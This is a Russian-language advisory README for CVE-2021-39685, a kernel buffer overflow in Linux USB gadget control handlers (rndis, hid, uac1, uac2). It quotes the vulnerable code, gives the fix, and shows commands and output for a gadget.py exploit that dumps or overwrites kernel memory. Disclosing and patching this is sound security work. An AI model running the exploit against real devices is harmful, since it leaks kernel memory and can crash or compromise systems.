szymonh/inspector-gadgetCVE-2021-39685 Описание и пример эксплойта для уязвимости переполнения Linux USB Gadget
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Злоумышленник может получить доступ к памяти ядра, обходя допустимые границы буфера, эксплуатируя реализацию обработчиков управляющих запросов в следующих USB-гаджетах: rndis, hid, uac1, uac1_legacy и uac2. Обработка вредоносных запросов управления передачей с неожиданно большим значением wLength не гарантирует, что это значение не превышает размер буфера. Вследствие этого можно прочитать и/или записать (в зависимости от конкретного случая) до 65 КБ памяти ядра.
Некоторые пути выполнения обработчиков управления передачей USB для таких гаджетов, как rndis, hid, uac1, uac1_legacy и uac2, не включают надлежащую обработку длины запроса (wLength). Это значение должно быть ограничено размером буфера для предотвращения уязвимостей переполнения буфера на этапе передачи данных.
Буфер, используемый конечной точкой 0, выделяется в composite.c размером USB_COMP_EP0_BUFSIZ (4096) байт, поэтому установка wLength в значение, превышающее USB_COMP_EP0_BUFSIZ, приведёт к переполнению буфера.
Например, в случае f_uac1.c выполнение функции f_audio_setup позволяет выполнять чтение и запись за границами буфера. Ни f_audio_setup, ни одна из вызываемых функций — audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in — не ограничивают возвращаемое значение размером буфера. Следовательно, на этапе передачи данных используется req->length = value = ctrl->wLength, которое контролируется злоумышленником. Это позволяет читать или записывать до 65 КБ памяти ядра в зависимости от направления управляющей передачи.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Выполнение примеров эксплойта для чтения позволяет сбрасывать до 65 КБ памяти.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
С другой стороны, выполнение эксплойта для перезаписи позволяет записывать произвольные данные за ожидаемые границы буфера.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Аналогично в случае гаджета rndis функция rndis_setup может быть использована для записи за границы буфера с помощью запроса управления передачей с направлением out, типом class, получателем interface и bRequest, установленным в USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Уязвимые пути выполнения:
Устройства, реализующие затронутые классы USB-гаджетов (rndis, hid, uac1, uac1_legacy, uac2), могут быть подвержены уязвимостям переполнения буфера, что приводит к раскрытию информации, отказу в обслуживании или выполнению произвольного кода в контексте ядра.
Ограничьте размер фазы передачи значением min(len, buffer_size) в затронутых обработчиках управляющих запросов, чтобы гарантировать отсутствие переполнения буфера.
Отправка запросов управления передачей с wLength, превышающим стандартные 4096 байт, требует от хоста использования специальной сборки libusb с увеличенным до 0xffff значением MAX_CTRL_BUFFER_LENGTH. Это значение можно изменить в libusb/os/linux_usbfs.h перед сборкой.
Скрипт gadget.py требует pyusb. Вы можете установить этот пакет через pip, как показано ниже.
python3 -m pip install pyusb
Справку можно получить с помощью параметров -h или --help.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Примеры запуска:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Пожалуйста, обновите ваше ядро до последней стабильной версии.